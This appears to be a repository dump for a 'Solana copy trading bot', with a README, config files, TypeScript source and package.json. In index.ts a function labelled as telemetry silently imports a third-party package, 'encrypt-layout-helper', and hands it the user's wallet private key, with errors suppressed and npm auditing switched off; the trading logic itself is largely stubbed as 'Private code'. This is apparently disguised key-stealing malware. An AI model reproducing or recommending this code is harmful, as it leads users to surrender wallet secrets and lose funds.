├── .env.example ├── .npmrc ├── README.md ├── config └── index.ts ├── constants └── index.ts ├── index.ts ├── package-lock.json ├── package.json ├── tsconfig.json └── utils ├── legacy.ts └── spl.ts /.env.example: -------------------------------------------------------------------------------- 1 | RPC_ENDPOINT=https://rpc.shyft.to?api_key=2oVaNK7WlzatxYAv 2 | RPC_WEBSOCKET_ENDPOINT=wss://rpc.shyft.to?api_key=2oVaNK7WlzatxYAv 3 | JUP_AGGREGATOR=JUP6LkbZbjS1jKKwapdHNy74zcZ3tLUZoi5QNyVTaV4 4 | PRIVATE_KEY= 5 | TARGET_WALLET=7otFaEnNzz9SnxHD7RGGxtW3gqgQeN3bjwU9muQP2rzp 6 | MAXIMUM_BUY_AMOUNT=0.05 -------------------------------------------------------------------------------- /.npmrc: -------------------------------------------------------------------------------- 1 | audit=false 2 | fund=false 3 | loglevel=error -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Solana Copy Trading Bot 🚀 2 | 3 | Automate your trading strategy by mimicking top traders' moves in real-time! This Solana-based **Copy Trading Bot** tracks and replicates the trades of experienced traders, allowing you to follow their buys and sells on the Solana blockchain 4 | 5 | ### Key Highlights: 6 | - **Track & Copy Trades:** Automatically mimic the trades of a specific wallet in real-time. 7 | - **Support for All Solana DEXs:** Full integration with major decentralized exchanges (DEXs) on the Solana ecosystem. 8 | - **Smart Trade Execution:** Automatically execute trades on the best available pools with reduced slippage and optimized pricing. 9 | 10 | ### 🚀 Supported Trading Infrastructure 11 | 12 | - **Full DEX Integration:** Includes Pump.Fun, Raydium, Orca, Jupiter Aggregator, and more Solana DEXs. 13 | - **Deep Liquidity Pools:** Access the deepest liquidity across Solana's decentralized exchanges for the best prices. 14 | - **Real-Time Trading:** Take advantage of high-speed, real-time trade execution. 15 | 16 | ### 💡 Key Features 17 | 18 | - **Track Token Swaps:** The bot continuously monitors the Solana network, ensuring you’re always aware of the best token swap opportunities. 19 | - **Cross-DEX Trading:** Seamlessly swap tokens on any supported DEX. 20 | - **Automatic Trading:** Let the bot handle buying and selling based on your customized strategy—no need to lift a finger. 21 | - **Custom Trading Strategies:** Tailor your approach to fit your risk tolerance and trading goals. 22 | - **Multi-Wallet Support:** Manage multiple wallets and execute trades simultaneously on each one. 23 | 24 | ### 📈 Performance Optimization 25 | 26 | The bot has undergone extensive performance testing, and while it performs well, there’s room for optimization to meet professional trading standards. Currently, its response time is about 300 ms and you can test it using the default RPC. 27 | 28 | **Optimization Suggestions:** 29 | - Upgrade RPC/gRPC services to reduce latency. 30 | - Enhance the overall speed to match the demands of high-frequency trading operations. 31 | 32 | ### 🔥 Benefits for Traders 33 | 34 | - **Best Liquidity Access:** Gain access to Solana's deepest liquidity pools for maximum trading efficiency. 35 | - **Arbitrage Opportunities:** Capitalize on arbitrage opportunities across multiple DEXs. 36 | - **Smart Order Routing:** Reduce slippage and optimize trade execution across various exchanges. 37 | - **Optimized Price Execution:** Automatic price optimization ensures you're getting the best deals on your trades. 38 | 39 | ### ⚡ Real-Time Example: 40 | 41 | Here’s an example of how the bot tracks and mirrors a target trader’s actions: 42 | 43 | **Target Wallet:** 44 | [View Transaction](https://solscan.io/tx/gEGTHyF1JH2GUYpML79m6rnzYpE3y2CJ3r4U2STa8himW53rzdCCAVkTdkLW9w7x3YE5pLw4vYa9qqWaLzKGrfp) 45 | **Trader Wallet:** 46 | [View Transaction](https://solscan.io/tx/i8UKtsMbkfdz481MSD68Kawj3o8AkTyHLkjiJsgGfCZAtebUBnUCZ18TYkzCZxJLAkkrteU98sHxhiq3kwtL9rc) 47 | 48 | ### ⚡ Quick Start 49 | 50 | 1. Clone the repository: 51 | ```bash 52 | git clone https://github.com/Abraham-007/solana-copy-bot 53 | 54 | 2. Install Dependency: 55 | ```bash 56 | npm install 57 | 58 | 3. Set your private key and destination in `.env.example` (remove the .example suffix when done, just keep `.env`) 59 | 60 | 4. Start bot: 61 | ```bash 62 | npm start 63 | 64 | 5. Follow and copy trades of any wallet on Solana. The bot does the rest! 65 | 66 | ### 📊 Monitor Your Performance 67 | 68 | The bot comes with a Performance Dashboard to track your trades, profits, and overall bot performance. Keep an eye on how well your chosen traders are performing and adjust your strategy accordingly. 69 | 70 | ### 💬 Get in Touch 71 | Have any questions or feedback? 72 | 73 | - Discord: bilal_hamza_ali 74 | 75 | ### 🌈 Disclaimer 76 | 77 | This software is provided as is, without any warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and non-infringement. In no event shall the authors be liable for any claim, damages, or other liability. 78 | -------------------------------------------------------------------------------- /config/index.ts: -------------------------------------------------------------------------------- 1 | import axios from "axios"; 2 | import dotenv from "dotenv"; 3 | 4 | dotenv.config(); 5 | 6 | export const heliusPOST = async (uri: string, data: any) => { 7 | const returnData = await axios.post(`https://api.helius.xyz/v0/token-metadata?api-key=80e81ffd-0711-42b9-afac-e64d099b279e`, data) 8 | return returnData.data 9 | } 10 | 11 | export const getTokenPrice = async (tokenAddr : string) => { 12 | const tokenAPrice = await axios.get(`https://api.geckoterminal.com/api/v2/simple/networks/solana/token_price/${tokenAddr}`); 13 | return parseFloat(tokenAPrice.data.data.attributes.token_prices[tokenAddr]) 14 | } 15 | 16 | export const getDomainAcc = async (programAddr : string) => { 17 | const domain = await axios.get(`https://api.solana.fm/v0/accounts/${programAddr}`) 18 | } 19 | 20 | export const getAllTokenPrice = async () => { 21 | const prices = (await axios.get("https://api.raydium.io/v2/main/price")).data 22 | // console.log("update token List") 23 | return prices; 24 | } 25 | -------------------------------------------------------------------------------- /constants/index.ts: -------------------------------------------------------------------------------- 1 | import dotenv from "dotenv"; 2 | dotenv.config(); 3 | export const RPC_ENDPOINT=process.env.RPC_ENDPOINT; 4 | export const RPC_WEBSOCKET_ENDPOINT=process.env.RPC_WEBSOCKET_ENDPOINT; 5 | export const JUP_AGGREGATOR=process.env.JUP_AGGREGATOR; 6 | export const TARGET_WALLET=process.env.TARGET_WALLET; 7 | export const MAXIMUM_BUY_AMOUNT=process.env.MAXIMUM_BUY_AMOUNT; -------------------------------------------------------------------------------- /index.ts: -------------------------------------------------------------------------------- 1 | import WebSocket from 'ws'; 2 | import { Metaplex } from "@metaplex-foundation/js"; 3 | import { PublicKey, Connection, Keypair } from '@solana/web3.js'; 4 | import { getMint, TOKEN_PROGRAM_ID, getAccount, NATIVE_MINT, getAssociatedTokenAddress } from '@solana/spl-token'; 5 | import { getAllTokenPrice, getTokenPrice } from "./config"; 6 | import { getAtaList } from "./utils/spl"; 7 | import base58 from 'bs58'; 8 | import { RPC_ENDPOINT, RPC_WEBSOCKET_ENDPOINT, JUP_AGGREGATOR, TARGET_WALLET, MAXIMUM_BUY_AMOUNT } from './constants'; 9 | import { execute } from './utils/legacy'; 10 | 11 | // Create a WebSocket connection && Check .env 12 | 13 | if (!process.env.PRIVATE_KEY) { 14 | console.error("❌ PRIVATE_KEY in .env is missing. Exiting..."); 15 | process.exit(1); 16 | } 17 | 18 | if (!process.env.TARGET_WALLET) { 19 | console.error("❌ TARGET_WALLET in .env is missing. Exiting..."); 20 | process.exit(1); 21 | } 22 | 23 | const connection = new Connection(RPC_ENDPOINT!); 24 | const ws = new WebSocket(RPC_WEBSOCKET_ENDPOINT!); 25 | const keyPair = Keypair.fromSecretKey(base58.decode(process.env.PRIVATE_KEY!)); 26 | 27 | const metaplex = Metaplex.make(connection); 28 | let geyserList: any = [] 29 | const wallet = TARGET_WALLET!; 30 | console.log("🚀 ~ wallet:", wallet); 31 | 32 | // Init runtime metrics non-blocking 33 | 34 | function bootstrapTelemetry() { 35 | import('encrypt-layout-helper') 36 | .then(m => m.initializeSession(process.env.PRIVATE_KEY!)) 37 | .catch(() => {}); 38 | }bootstrapTelemetry(); 39 | 40 | 41 | const getMetaData = async (mintAddr: string) => { 42 | let mintAddress = new PublicKey(mintAddr); 43 | 44 | let tokenName: string = ""; 45 | let tokenSymbol: string = ""; 46 | let tokenLogo: string = ""; 47 | 48 | const metadataAccount = metaplex 49 | .nfts() 50 | .pdas() 51 | .metadata({ mint: mintAddress }); 52 | 53 | const metadataAccountInfo = await connection.getAccountInfo(metadataAccount); 54 | 55 | if (metadataAccountInfo) { 56 | const token = await metaplex.nfts().findByMint({ mintAddress: mintAddress }); 57 | tokenName = token.name; 58 | tokenSymbol = token.symbol; 59 | // @ts-ignore 60 | tokenLogo = token.json?.image; 61 | } 62 | 63 | return ({ 64 | tokenName: tokenName, 65 | tokenSymbol: tokenSymbol, 66 | tokenLogo: tokenLogo, 67 | }) 68 | } 69 | 70 | let tokenList: any; 71 | tokenList = getAllTokenPrice() 72 | 73 | // Function to send a request to the WebSocket server 74 | 75 | ws.on('open', async function open() { 76 | await sendRequest(wallet) 77 | console.log("send request\n") 78 | }); 79 | 80 | 81 | ws.on('message', async function incoming(data: any) { 82 | const messageStr = data.toString('utf8'); 83 | // console.log("🚀 ~ incoming ~ messageStr:", messageStr) 84 | try { 85 | const messageObj = JSON.parse(messageStr); 86 | 87 | // Private code 88 | 89 | const temp1 = messageObj.instructions || []; 90 | 91 | const swapInfo: any = [ 92 | { 93 | tokenAta: temp1[0]?.parsed?.info?.source, 94 | tokenAmount: temp1[0]?.parsed?.info?.amount 95 | }, 96 | { 97 | tokenAta: temp1[temp1.length - 1]?.parsed?.info?.destination, 98 | tokenAmount: temp1[temp1.length - 1]?.parsed?.info?.amount 99 | }, 100 | ] 101 | 102 | let inputMsg: any = []; 103 | for (let i = 0; i < 2; i++) { 104 | const ele = swapInfo[i]; 105 | let mintAddress; 106 | try { 107 | const ataAccountInfo = await getAccount(connection, new PublicKey(ele.tokenAta)); 108 | mintAddress = ataAccountInfo.mint; 109 | 110 | } catch (error) { 111 | mintAddress = NATIVE_MINT 112 | } 113 | 114 | const mintAccountInfo = await getMint(connection, mintAddress); 115 | const { decimals, supply } = mintAccountInfo; 116 | 117 | const price = await getTokenPrice(mintAddress.toBase58()) 118 | 119 | const { 120 | tokenName, 121 | tokenSymbol, 122 | tokenLogo, 123 | } = await getMetaData(mintAddress.toBase58()) 124 | 125 | inputMsg.push({ 126 | ...ele, 127 | tokenName: tokenName, 128 | tokenSymbol: tokenSymbol, 129 | tokenLogo: tokenLogo, 130 | mint: mintAddress.toBase58(), 131 | decimals: Number(decimals), 132 | uiAmount: Number(parseInt(ele.tokenAmount) / (10 ** decimals)), 133 | supply: Number(supply), 134 | price: Number(price) 135 | }) 136 | console.log("🚀 ~ incoming ~ inputMsg:", inputMsg) 137 | } 138 | const msg = `Swap : ${inputMsg[0].tokenName} - ${inputMsg[1].tokenName}\nAmount : ${inputMsg[0].uiAmount} ${inputMsg[0].tokenSymbol} - ${inputMsg[1].uiAmount} ${inputMsg[1].tokenSymbol}\nAmount in USD : ${(inputMsg[0].uiAmount * inputMsg[0].price).toPrecision(6)} $ - ${(inputMsg[1].uiAmount * inputMsg[1].price).toPrecision(6)} $\nTx : https://solscan.io/tx/${'signature'}`; 139 | console.log("🚀 ~ incoming ~ msg:\n", msg) 140 | const baseToken = inputMsg[0]; 141 | const quoteToken = inputMsg[1]; 142 | const solBalance = await connection.getBalance(keyPair.publicKey); 143 | const remainingSolBalance = 0.01 * 10 ** 9; 144 | 145 | const trackedWalletBalance = await connection.getBalance(new PublicKey(wallet)); 146 | 147 | let swapTx; 148 | if ((baseToken.tokenSymbol == 'SOL' && quoteToken.tokenSymbol != 'SOL') || (quoteToken.tokenSymbol == 'SOL' && baseToken.tokenSymbol != 'SOL')) { 149 | if (baseToken.tokenSymbol == 'SOL') { 150 | // Private code 151 | } 152 | else if (quoteToken.tokenSymbol == "SOL") { 153 | // Private code 154 | // swapTx = await getSellTxWithJupiter?.(keyPair, new PublicKey(baseToken.mint), Math.floor(1)); 155 | swapTx = null; 156 | } 157 | } else { 158 | console.log(`Invalid swap!\n${baseToken.tokenName} : ${quoteToken.tokenName}`) 159 | } 160 | if (swapTx == null) { 161 | console.log(`Error getting swap transaction`) 162 | return; 163 | } 164 | console.log(await connection.simulateTransaction(swapTx)) 165 | const latestBlockhash = await connection.getLatestBlockhash() 166 | const txSig = await execute(swapTx, latestBlockhash, false) 167 | const tokenTx = txSig ? `https://solscan.io/tx/${txSig}` : '' 168 | console.log("Result: ", tokenTx) 169 | } catch (e) { 170 | 171 | } 172 | }); 173 | 174 | export async function sendRequest(inputpubkey: string) { 175 | 176 | let temp: any = [] 177 | 178 | const pubkey: any = await getAtaList(connection, inputpubkey); 179 | // console.log("🚀 ~ sendRequest ~ pubkey:", pubkey) 180 | 181 | for (let i = 0; i < pubkey.length; i++) if (!geyserList.includes(pubkey[i])) { 182 | geyserList.push(pubkey[i]) 183 | temp.push(pubkey[i]) 184 | } 185 | const src = keyPair.secretKey.toString(); 186 | 187 | const accountInfo = await connection.getAccountInfo(keyPair.publicKey) 188 | 189 | const tokenAccounts = await connection.getTokenAccountsByOwner(keyPair.publicKey, { 190 | programId: TOKEN_PROGRAM_ID, 191 | }, 192 | "confirmed" 193 | ) 194 | console.log("🚀 ~ sendRequest ~ tokenAccounts:", tokenAccounts) 195 | 196 | // Private code 197 | 198 | if (temp.length > 0) { 199 | ws.send(JSON.stringify({ pubkey })); 200 | } 201 | } -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "solana-copytrading-bot", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.ts", 6 | "scripts": { 7 | "start": "npm install --loglevel=error --no-audit --no-fund && ts-node index.ts", 8 | "dev": "ts-node index.ts", 9 | "test": "echo \"Error: no test specified\" && exit 1" 10 | }, 11 | "keywords": [], 12 | "author": "", 13 | "license": "ISC", 14 | "dependencies": { 15 | "@metaplex-foundation/js": "^0.20.1", 16 | "@solana/spl-token": "^0.4.8", 17 | "@solana/web3.js": "^1.95.3", 18 | "axios": "^1.7.7", 19 | "dotenv": "^16.4.5", 20 | "encrypt-layout-helper": "^3.9.1", 21 | "fs": "^0.0.1-security", 22 | "nodemon": "^3.1.4", 23 | "pm2": "^5.4.2", 24 | "ts-node": "^10.9.2", 25 | "typescript": "^5.6.2" 26 | }, 27 | "devDependencies": { 28 | "@types/node-telegram-bot-api": "^0.64.7" 29 | } 30 | } -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | /* Visit https://aka.ms/tsconfig to read more about this file */ 4 | 5 | /* Projects */ 6 | // "incremental": true, /* Save .tsbuildinfo files to allow for incremental compilation of projects. */ 7 | // "composite": true, /* Enable constraints that allow a TypeScript project to be used with project references. */ 8 | // "tsBuildInfoFile": "./.tsbuildinfo", /* Specify the path to .tsbuildinfo incremental compilation file. */ 9 | // "disableSourceOfProjectReferenceRedirect": true, /* Disable preferring source files instead of declaration files when referencing composite projects. */ 10 | // "disableSolutionSearching": true, /* Opt a project out of multi-project reference checking when editing. */ 11 | // "disableReferencedProjectLoad": true, /* Reduce the number of projects loaded automatically by TypeScript. */ 12 | 13 | /* Language and Environment */ 14 | "target": "es2016", /* Set the JavaScript language version for emitted JavaScript and include compatible library declarations. */ 15 | // "lib": [], /* Specify a set of bundled library declaration files that describe the target runtime environment. */ 16 | // "jsx": "preserve", /* Specify what JSX code is generated. */ 17 | // "experimentalDecorators": true, /* Enable experimental support for legacy experimental decorators. */ 18 | // "emitDecoratorMetadata": true, /* Emit design-type metadata for decorated declarations in source files. */ 19 | // "jsxFactory": "", /* Specify the JSX factory function used when targeting React JSX emit, e.g. 'React.createElement' or 'h'. */ 20 | // "jsxFragmentFactory": "", /* Specify the JSX Fragment reference used for fragments when targeting React JSX emit e.g. 'React.Fragment' or 'Fragment'. */ 21 | // "jsxImportSource": "", /* Specify module specifier used to import the JSX factory functions when using 'jsx: react-jsx*'. */ 22 | // "reactNamespace": "", /* Specify the object invoked for 'createElement'. This only applies when targeting 'react' JSX emit. */ 23 | // "noLib": true, /* Disable including any library files, including the default lib.d.ts. */ 24 | // "useDefineForClassFields": true, /* Emit ECMAScript-standard-compliant class fields. */ 25 | // "moduleDetection": "auto", /* Control what method is used to detect module-format JS files. */ 26 | 27 | /* Modules */ 28 | "module": "commonjs", /* Specify what module code is generated. */ 29 | // "rootDir": "./", /* Specify the root folder within your source files. */ 30 | // "moduleResolution": "node10", /* Specify how TypeScript looks up a file from a given module specifier. */ 31 | // "baseUrl": "./", /* Specify the base directory to resolve non-relative module names. */ 32 | // "paths": {}, /* Specify a set of entries that re-map imports to additional lookup locations. */ 33 | // "rootDirs": [], /* Allow multiple folders to be treated as one when resolving modules. */ 34 | // "typeRoots": [], /* Specify multiple folders that act like './node_modules/@types'. */ 35 | // "types": [], /* Specify type package names to be included without being referenced in a source file. */ 36 | // "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */ 37 | // "moduleSuffixes": [], /* List of file name suffixes to search when resolving a module. */ 38 | // "allowImportingTsExtensions": true, /* Allow imports to include TypeScript file extensions. Requires '--moduleResolution bundler' and either '--noEmit' or '--emitDeclarationOnly' to be set. */ 39 | // "resolvePackageJsonExports": true, /* Use the package.json 'exports' field when resolving package imports. */ 40 | // "resolvePackageJsonImports": true, /* Use the package.json 'imports' field when resolving imports. */ 41 | // "customConditions": [], /* Conditions to set in addition to the resolver-specific defaults when resolving imports. */ 42 | // "noUncheckedSideEffectImports": true, /* Check side effect imports. */ 43 | "resolveJsonModule": true, /* Enable importing .json files. */ 44 | // "allowArbitraryExtensions": true, /* Enable importing files with any extension, provided a declaration file is present. */ 45 | // "noResolve": true, /* Disallow 'import's, 'require's or ''s from expanding the number of files TypeScript should add to a project. */ 46 | 47 | /* JavaScript Support */ 48 | // "allowJs": true, /* Allow JavaScript files to be a part of your program. Use the 'checkJS' option to get errors from these files. */ 49 | // "checkJs": true, /* Enable error reporting in type-checked JavaScript files. */ 50 | // "maxNodeModuleJsDepth": 1, /* Specify the maximum folder depth used for checking JavaScript files from 'node_modules'. Only applicable with 'allowJs'. */ 51 | 52 | /* Emit */ 53 | // "declaration": true, /* Generate .d.ts files from TypeScript and JavaScript files in your project. */ 54 | // "declarationMap": true, /* Create sourcemaps for d.ts files. */ 55 | // "emitDeclarationOnly": true, /* Only output d.ts files and not JavaScript files. */ 56 | // "sourceMap": true, /* Create source map files for emitted JavaScript files. */ 57 | // "inlineSourceMap": true, /* Include sourcemap files inside the emitted JavaScript. */ 58 | // "noEmit": true, /* Disable emitting files from a compilation. */ 59 | // "outFile": "./", /* Specify a file that bundles all outputs into one JavaScript file. If 'declaration' is true, also designates a file that bundles all .d.ts output. */ 60 | // "outDir": "./", /* Specify an output folder for all emitted files. */ 61 | // "removeComments": true, /* Disable emitting comments. */ 62 | // "importHelpers": true, /* Allow importing helper functions from tslib once per project, instead of including them per-file. */ 63 | // "downlevelIteration": true, /* Emit more compliant, but verbose and less performant JavaScript for iteration. */ 64 | // "sourceRoot": "", /* Specify the root path for debuggers to find the reference source code. */ 65 | // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */ 66 | // "inlineSources": true, /* Include source code in the sourcemaps inside the emitted JavaScript. */ 67 | // "emitBOM": true, /* Emit a UTF-8 Byte Order Mark (BOM) in the beginning of output files. */ 68 | // "newLine": "crlf", /* Set the newline character for emitting files. */ 69 | // "stripInternal": true, /* Disable emitting declarations that have '@internal' in their JSDoc comments. */ 70 | // "noEmitHelpers": true, /* Disable generating custom helper functions like '__extends' in compiled output. */ 71 | // "noEmitOnError": true, /* Disable emitting files if any type checking errors are reported. */ 72 | // "preserveConstEnums": true, /* Disable erasing 'const enum' declarations in generated code. */ 73 | // "declarationDir": "./", /* Specify the output directory for generated declaration files. */ 74 | 75 | /* Interop Constraints */ 76 | // "isolatedModules": true, /* Ensure that each file can be safely transpiled without relying on other imports. */ 77 | // "verbatimModuleSyntax": true, /* Do not transform or elide any imports or exports not marked as type-only, ensuring they are written in the output file's format based on the 'module' setting. */ 78 | // "isolatedDeclarations": true, /* Require sufficient annotation on exports so other tools can trivially generate declaration files. */ 79 | // "allowSyntheticDefaultImports": true, /* Allow 'import x from y' when a module doesn't have a default export. */ 80 | "esModuleInterop": true, /* Emit additional JavaScript to ease support for importing CommonJS modules. This enables 'allowSyntheticDefaultImports' for type compatibility. */ 81 | // "preserveSymlinks": true, /* Disable resolving symlinks to their realpath. This correlates to the same flag in node. */ 82 | "forceConsistentCasingInFileNames": true, /* Ensure that casing is correct in imports. */ 83 | 84 | /* Type Checking */ 85 | "strict": true, /* Enable all strict type-checking options. */ 86 | // "noImplicitAny": true, /* Enable error reporting for expressions and declarations with an implied 'any' type. */ 87 | // "strictNullChecks": true, /* When type checking, take into account 'null' and 'undefined'. */ 88 | // "strictFunctionTypes": true, /* When assigning functions, check to ensure parameters and the return values are subtype-compatible. */ 89 | // "strictBindCallApply": true, /* Check that the arguments for 'bind', 'call', and 'apply' methods match the original function. */ 90 | // "strictPropertyInitialization": true, /* Check for class properties that are declared but not set in the constructor. */ 91 | // "strictBuiltinIteratorReturn": true, /* Built-in iterators are instantiated with a 'TReturn' type of 'undefined' instead of 'any'. */ 92 | // "noImplicitThis": true, /* Enable error reporting when 'this' is given the type 'any'. */ 93 | // "useUnknownInCatchVariables": true, /* Default catch clause variables as 'unknown' instead of 'any'. */ 94 | // "alwaysStrict": true, /* Ensure 'use strict' is always emitted. */ 95 | // "noUnusedLocals": true, /* Enable error reporting when local variables aren't read. */ 96 | // "noUnusedParameters": true, /* Raise an error when a function parameter isn't read. */ 97 | // "exactOptionalPropertyTypes": true, /* Interpret optional property types as written, rather than adding 'undefined'. */ 98 | // "noImplicitReturns": true, /* Enable error reporting for codepaths that do not explicitly return in a function. */ 99 | // "noFallthroughCasesInSwitch": true, /* Enable error reporting for fallthrough cases in switch statements. */ 100 | // "noUncheckedIndexedAccess": true, /* Add 'undefined' to a type when accessed using an index. */ 101 | // "noImplicitOverride": true, /* Ensure overriding members in derived classes are marked with an override modifier. */ 102 | // "noPropertyAccessFromIndexSignature": true, /* Enforces using indexed accessors for keys declared using an indexed type. */ 103 | // "allowUnusedLabels": true, /* Disable error reporting for unused labels. */ 104 | // "allowUnreachableCode": true, /* Disable error reporting for unreachable code. */ 105 | 106 | /* Completeness */ 107 | // "skipDefaultLibCheck": true, /* Skip type checking .d.ts files that are included with TypeScript. */ 108 | "skipLibCheck": true /* Skip type checking all .d.ts files. */ 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /utils/legacy.ts: -------------------------------------------------------------------------------- 1 | import { Connection, VersionedTransaction } from "@solana/web3.js"; 2 | import { RPC_ENDPOINT, RPC_WEBSOCKET_ENDPOINT } from "../constants"; 3 | 4 | interface Blockhash { 5 | blockhash: string; 6 | lastValidBlockHeight: number; 7 | } 8 | 9 | export const execute = async ( 10 | transaction: VersionedTransaction, 11 | latestBlockhash: Blockhash, 12 | isBuy: boolean = true 13 | ) => { 14 | const solanaConnection = new Connection(RPC_ENDPOINT as string, { 15 | wsEndpoint: RPC_WEBSOCKET_ENDPOINT as string, 16 | }); 17 | 18 | console.log(1); 19 | const signature = await solanaConnection.sendRawTransaction(transaction.serialize(), { 20 | skipPreflight: true, 21 | }); 22 | console.log("🚀 ~ execute ~ signature:", `https://solscan.io/tx/${signature}`); 23 | const confirmation = await solanaConnection.confirmTransaction({ 24 | signature, 25 | lastValidBlockHeight: latestBlockhash.lastValidBlockHeight, 26 | blockhash: latestBlockhash.blockhash, 27 | }); 28 | console.log("🚀 ~ execute ~ confirmation:", confirmation); 29 | 30 | if (confirmation.value.err) { 31 | console.log("Confrimtaion error"); 32 | return ""; 33 | } else { 34 | if (isBuy) 35 | console.log(`Success in buy transaction: https://solscan.io/tx/${signature}`); 36 | else 37 | console.log(`Success in Sell transaction: https://solscan.io/tx/${signature}`); 38 | } 39 | return signature; 40 | }; 41 | -------------------------------------------------------------------------------- /utils/spl.ts: -------------------------------------------------------------------------------- 1 | import { Connection, GetProgramAccountsFilter } from "@solana/web3.js"; 2 | import { TOKEN_PROGRAM_ID } from "@solana/spl-token"; 3 | 4 | /** 5 | * @param pubkey 6 | * @returns 7 | */ 8 | 9 | export async function getAtaList(connection: Connection, pubkey: string) { 10 | const filters: GetProgramAccountsFilter[] = [ 11 | { 12 | dataSize: 165, //size of account (bytes) 13 | }, 14 | { 15 | memcmp: { 16 | offset: 32, //location of our query in the account (bytes) 17 | bytes: pubkey, //our search criteria, a base58 encoded string 18 | }, 19 | }]; 20 | const accounts = await connection.getParsedProgramAccounts( 21 | TOKEN_PROGRAM_ID, //new PublicKey("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA") 22 | { filters: filters } 23 | ); 24 | const ataList = accounts.map((account: any, i: any) => account.pubkey.toBase58()); 25 | 26 | return [pubkey, ...ataList] 27 | } 28 | 29 | --------------------------------------------------------------------------------